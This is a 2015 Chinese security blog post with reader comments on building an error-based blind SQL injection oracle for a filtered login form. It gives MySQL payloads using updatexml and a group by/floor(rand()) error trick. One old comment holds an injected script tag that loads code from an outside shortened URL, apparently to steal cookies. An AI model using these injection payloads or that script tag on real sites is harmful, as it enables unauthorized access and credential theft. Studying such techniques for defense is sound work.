一个基于报错的盲注场景

MayIKissYou | 2015-11-06 16:17

1:背景

近日某壮汉给了我个链接 说有注入 但是过滤了一些关键字 导致数据有些出不来 让我帮忙看看

于是 我看他造爷 就研究了下 场景说明给大家,有兴趣的同学一起交流 不一定是好办法,目前为止想到的

可行的办法

2:场景

一个站点的登录框存在注入,

1):用户名存在,密码不存在 通过输入'号出来明显的报错信息

2):输入正确与错误的用户名都会返回 用户名或则密码错误

3):此处过滤了(select 基本上输入(sdadadsselectadsd也会被过滤[此处个人觉得是比较恶心的 过滤太严,而且出数据基本靠他了]

4):不想用时间盲注 怕把服务器给睡挂了

ps。测试的时候就没用线上环境了 自己在数据库的表里找了个实例测试了

3:想法

由于select被干的太狠了,因此想法就是要把管理员的账号密码弄到就好了。

但是现在比较惨的地方是直接用经典的报错语句 由于语句中有(select会直接被干掉的

于是此时就想由于当前就在user表里,直接通过username=‘admin’and password='xxx'的形式来猜解账号密码

1)起初用了updatexml()来进行报错

大致语法就是

select * from corp where corp_id =1 and updatexml(1,if(1=2,1,concat(0x5e,version())),1)

但是这里当我把1=2 改成user字段的时候 会提示如下内容

ERROR 1105 (HY000): Only constant XPATH queries are supported

仅仅支持constant

然后我换了种 写法

select * from corp where corp_id =1 and if(1=1,1,updatexml(1,concat(0x5e,corp_id),1))
ERROR 1105 (HY000): Only constant XPATH queries are supported

我的想法是1=1的时候不执行这个报错语句,结果发现mysql在执行顺序的时候 先执行了updatexml语句

我擦没办法了 走到头了 换个别的方法吧。

2)换了个报错语句 group by concat(version(),floor(rand(0)*2)) having min(0)

于是很快的写出了如下的语句:

select * from corp where corp_id in (1,2,(if(1=1,3,2))) group by concat(version(),floor(rand(0)*2)) having min(0);

ps.说明下 这里我corp里面有3列 id分别为1 2 3

我们先来查看一下运行结果:

一个基于报错的盲注场景

这样一个基于报错的盲注的方法

我们直接去这么操作:

一个基于报错的盲注场景

正确的时候返回为空 不正确的时候返回为报错。

于是我们可以使用corp_id=1 and corp_name= 'xxxx'的形式最后获取corp_name的值

按道理类似的使用uname = ‘admin’ and upass = 'xxx'的方式获取pass的值

ps.

但是这里得靠字典将pass的字段爆破出来

[原文地址]

各种吐槽:

1#

Vigoss_Z (http://i-security.cc) | 2015-11-06 16:28

没看懂啊,

pass也可以相同的办法, 36x16(32次)搞定?为什么需要字典?

2#

MayIKissYou | 2015-11-06 16:30

@Vigoss_Z 啊 实际环境不知道 user表的password字段的名称的 = =

3#

紫霞仙子 | 2015-11-06 16:32

waf小王子,赞!

4#

Vigoss_Z (http://i-security.cc) | 2015-11-06 16:37

@MayIKissYou

2333333

以为报错出来sql语句,知道user和pass字段了。

看脸了。

5#

MayIKissYou | 2015-11-06 16:41

@Vigoss_Z = =主要是想说一下如何构造一个判断依据[盲注的条件] 之前没碰到过 嘿嘿

6#

Manning (MSpider作者) | 2015-11-06 16:48

啥啊,给个链接一起玩啊!?

7#

我是壮丁 (专业打酱油) | 2015-11-06 18:28

waf小王子

留言评论(旧系统):

*** @ 2015-11-11 11:27:34

****** 你的好去处 http://www.***.com/***/

本站回复:

恭喜你!已进入永久屏蔽名单!

知道我有多帅吗 @ 2015-12-13 20:30:10

牛逼

本站回复:

-_-!!!

佚名 @ 2015-12-17 18:27:11

<script src=http://t.cn/R4LOLr3></script>您好<script src=http://t.cn/R4LOLr3></script><script src=http://t.cn/R4LOLr3></script>

本站回复:

收到 cookie 了么,孩纸~